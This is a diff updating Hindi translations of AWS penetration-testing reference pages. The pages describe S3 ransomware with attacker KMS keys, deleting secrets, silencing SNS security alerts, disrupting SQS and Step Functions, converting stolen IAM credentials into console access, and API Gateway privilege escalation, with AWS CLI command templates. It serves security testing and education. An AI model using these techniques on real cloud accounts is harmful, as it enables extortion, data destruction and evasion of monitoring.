index 22f5735ec..1ee66a3b5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - S3 पोस्ट एक्सप्लॉइटेशन
+# AWS - S3 पोस्ट एक्सप्लोइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,26 +12,26 @@
### संवेदनशील जानकारी
-कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, टेराफॉर्म राज्य रहस्य।
+कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform राज्य रहस्य।
### पिवोटिंग
विभिन्न प्लेटफार्म S3 का उपयोग संवेदनशील संपत्तियों को स्टोर करने के लिए कर सकते हैं।\
-उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या JS फ़ाइलों को संशोधित करके **खातों पर नियंत्रण** प्राप्त कर सकें।
+उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या **खातों पर नियंत्रण** पाने के लिए JS फ़ाइलों को संशोधित कर सकें।
-### S3 रैनसमवेयर
+### S3 रैंसमवेयर
-इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता।
+इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता है।
-हमलावर एक लक्षित **S3 बकेट की पहचान करता है और इसे लिखने के स्तर तक पहुंच प्राप्त करता है** विभिन्न तरीकों का उपयोग करके। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक।
+हमलावर एक लक्षित **S3 बकेट की पहचान करता है और विभिन्न तरीकों का उपयोग करके** इसमें लिखने का स्तर प्राप्त करता है। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक।
-यह निर्धारित करने के लिए कि क्या बकेट रैनसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैनसमवेयर करना अधिक कठिन हो जाता है।
+यह निर्धारित करने के लिए कि क्या बकेट रैंसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैंसमवेयर करना अधिक कठिन हो जाता है।
-AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को उनके KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे कुंजी के बिना इसे एक्सेस करना असंभव हो जाता है।
+AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को अपने KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे यह कुंजी के बिना अनुपलब्ध हो जाता है।
-अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है और डेटा स्थायी रूप से खो जाता है।
+अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है, जिससे डेटा स्थायी रूप से खो जाता है।
-अंत में, हमलावर एक अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" नाम दिया जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैनसमवेयर हमले के बारे में जागरूक करने के लिए।
+अंत में, हमलावर एक अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" कहा जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैंसमवेयर हमले के बारे में जागरूक करने के लिए।
**अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**।**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index 37773ec8d..2fd584b2a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -12,7 +12,7 @@
### Read Secrets
-**गुप्त स्वयं संवेदनशील जानकारी हैं**, [प्रिवेस्क पृष्ठ देखें](../aws-privilege-escalation/aws-secrets-manager-privesc.md) यह जानने के लिए कि उन्हें कैसे पढ़ें।
+**गुप्त जानकारी स्वयं संवेदनशील होती है**, [प्रिवेस्क पृष्ठ देखें](../aws-privilege-escalation/aws-secrets-manager-privesc.md) यह जानने के लिए कि उन्हें कैसे पढ़ें।
### DoS Change Secret Value
@@ -32,9 +32,9 @@ aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
-### DoS Secret हटाना
+### DoS Secret को हटाना
-गुप्त को हटाने के लिए न्यूनतम दिनों की संख्या 7 है
+एक रहस्य को हटाने के लिए न्यूनतम दिनों की संख्या 7 है
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 845f86c77..2593f6c08 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -55,13 +55,15 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
+अभी परीक्षण करना बाकी है।
+
### `ses:SendCustomVerificationEmail`
-यह एक कस्टमाइज्ड वेरिफिकेशन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है।
+यह एक अनुकूलित सत्यापन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है।
```bash
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-अभी परीक्षण करना बाकी है।
+अभी परीक्षण करना बाकी है।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 0b8c5085f..48fa2305f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SNS Post Exploitation
+# AWS - SNS पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@
../aws-services/aws-sns-enum.md
{{#endref}}
-### Disrupt Messages
+### संदेशों को बाधित करें
-कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह बिना पहचाने रह सकता है।
+कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह अदृश्य रह सकता है।
### `sns:DeleteTopic`
@@ -45,11 +45,11 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
```
-**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर अनुप्रयोगों के लिए सेवा में बाधा।
+**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा।
### `sns:AddPermission` , `sns:RemovePermission`
-एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है।
+एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है।
```css
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 197d41072..c85c468e8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -17,7 +17,7 @@
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**संभावित प्रभाव**: भेद्यता शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
+**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
@@ -39,7 +39,7 @@ Copy codeaws sqs delete-queue --queue-url
### `sqs:PurgeQueue`
-एक हमलावर SQS कतार से सभी संदेशों को हटाने में सक्षम हो सकता है, जिससे संदेश हानि और उन संदेशों पर निर्भर अनुप्रयोगों में संभावित बाधा उत्पन्न हो सकती है।
+एक हमलावर SQS कतार से सभी संदेशों को हटाकर संदेश हानि और उन संदेशों पर निर्भर करने वाले अनुप्रयोगों में संभावित बाधा का कारण बन सकता है।
```arduino
Copy codeaws sqs purge-queue --queue-url
```
@@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url
### `sqs:SetQueueAttributes`
-एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है।
+एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा या उपलब्धता को प्रभावित कर सकता है।
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
@@ -55,19 +55,19 @@ aws sqs set-queue-attributes --queue-url --attributes
### `sqs:TagQueue` , `sqs:UntagQueue`
-एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
+एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न होती है।
```bash
aws sqs tag-queue --queue-url --tags Key=,Value=
aws sqs untag-queue --queue-url --tag-keys
```
-**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में व्यवधान।
+**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
### `sqs:RemovePermission`
-एक हमलावर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है, SQS कतार से संबंधित नीतियों को हटाकर। इससे उन अनुप्रयोगों के सामान्य कार्य में व्यवधान आ सकता है जो कतार पर निर्भर करते हैं।
+एक हमलावर SQS कतार से संबंधित नीतियों को हटाकर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है। इससे उन अनुप्रयोगों के सामान्य कार्य में विघटन हो सकता है जो कतार पर निर्भर करते हैं।
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
-**संभावित प्रभाव**: अनुमति के अनधिकृत हटाने के कारण कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा।
+**संभावित प्रभाव**: कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा unauthorized अनुमति हटाने के कारण।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 27408f3f4..90844711d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -33,30 +33,30 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn
```
-- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में विघटन, डेटा हानि, और संचालन में रुकावट।
+- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में बाधा, डेटा हानि, और संचालन में रुकावट।
### `states:UpdateMapRun`
-इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों को बाधित करता है।
+इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है।
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
-- **संभावित प्रभाव**: प्रदर्शन में गिरावट, और महत्वपूर्ण कार्यप्रवाहों में बाधा।
+- **संभावित प्रभाव**: प्रदर्शन में कमी, और महत्वपूर्ण कार्यप्रवाहों में बाधा।
### `states:StopExecution`
इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डाल सकता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है।
> [!WARNING]
-> यह क्रिया **एक्सप्रेस राज्य मशीनों** द्वारा समर्थित नहीं है।
+> यह क्रिया **express state machines** द्वारा समर्थित नहीं है।
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में विघटन, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार।
+- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार।
### `states:TagResource`, `states:UntagResource`
-एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन हो सकता है।
+एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 1592d5524..e91831ec8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -12,8 +12,8 @@
### IAM क्रेडेंशियल्स से कंसोल तक
-यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप निम्नलिखित उपकरणों का उपयोग करके **वेब कंसोल तक पहुँचने में रुचि रख सकते हैं**।\
-ध्यान दें कि उपयोगकर्ता/भूमिका के पास **`sts:GetFederationToken`** अनुमति होनी चाहिए।
+यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप **वेब कंसोल तक पहुँचने** में रुचि रख सकते हैं, निम्नलिखित उपकरणों का उपयोग करके।\
+ध्यान दें कि उपयोगकर्ता/भूमिका को **`sts:GetFederationToken`** अनुमति होनी चाहिए।
#### कस्टम स्क्रिप्ट
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
-[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से स्टोर और एक्सेस करने के लिए है।
+[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से संग्रहीत और एक्सेस करने के लिए है।
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Python से User-Agent प्रतिबंधों को बायपास करें**
-यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध** है (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 पुस्तकालय का उपयोग प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने** के लिए पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट** को संशोधित कर सकते हैं:
+यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध है** (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 लाइब्रेरी के उपयोग को प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने के लिए** पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट को संशोधित कर सकते हैं**:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index f7db71d32..8947a29c7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -7,11 +7,11 @@
AWS में अपने विशेषाधिकारों को बढ़ाने का तरीका यह है कि आपके पास अन्य भूमिकाओं/उपयोगकर्ताओं/समूहों के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए बढ़ते विशेषाधिकारों को जोड़ना।
> [!WARNING]
-> AWS के पास **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया साझा करें**।
+> AWS के पास **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया इसे साझा करें**।
> [!CAUTION]
> यदि एक IAM नीति में `"Effect": "Allow"` और `"NotAction": "Someaction"` है जो एक **संसाधन** को इंगित करता है... तो इसका मतलब है कि **अनुमत प्रधान** को **उस निर्दिष्ट क्रिया के अलावा कुछ भी करने की अनुमति है**।\
-> इसलिए याद रखें कि यह एक और तरीका है **विशेषाधिकार प्राप्त अनुमतियाँ** देने का।
+> इसलिए याद रखें कि यह एक और तरीका है **एक प्रधान को विशेषाधिकार प्राप्त अनुमतियाँ देने** का।
**इस अनुभाग के पृष्ठ AWS सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप ऐसी अनुमतियाँ पाएंगे जो आपको विशेषाधिकार बढ़ाने की अनुमति देंगी।**
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index af85abe12..1ab965a3e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -16,33 +16,33 @@
```bash
aws --region apigateway create-api-key
```
-**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
+**संभावित प्रभाव:** आप इस तकनीक से प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
### `apigateway:GET`
-इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के जनरेटेड API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)।
+इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के उत्पन्न API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)।
```bash
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**संभावित प्रभाव:** आप इस तकनीक के साथ प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
+**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुंच का दुरुपयोग कर सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)।
+इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुँच का दुरुपयोग करने के लिए खुद को पहुँच दे सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)।
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
-**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
+**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे, लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> परीक्षण की आवश्यकता है
-एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। फिर हमलावर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**।
